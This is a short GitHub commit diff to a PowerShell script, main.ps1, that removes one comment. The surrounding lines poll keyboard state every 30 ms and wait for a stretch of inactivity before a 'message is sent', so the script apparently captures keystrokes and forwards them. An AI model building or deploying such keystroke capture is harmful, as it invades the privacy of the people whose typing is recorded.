Update main.ps1

This commit is contained in:
egieb
2025-06-20 09:25:32 +00:00
committed by GitHub
parent 713cf0f994
commit 26688161fb

View File

@@ -66,7 +66,6 @@ $KeypressThreshold = [TimeSpan]::FromSeconds(10)
While ($true){
$keyPressed = $false
try{
# Start a loop that checks the time since last activity before message is sent
while ($LastKeypressTime.Elapsed -lt $KeypressThreshold) {
# Start the loop with 30 ms delay between keystate check
Start-Sleep -Milliseconds 30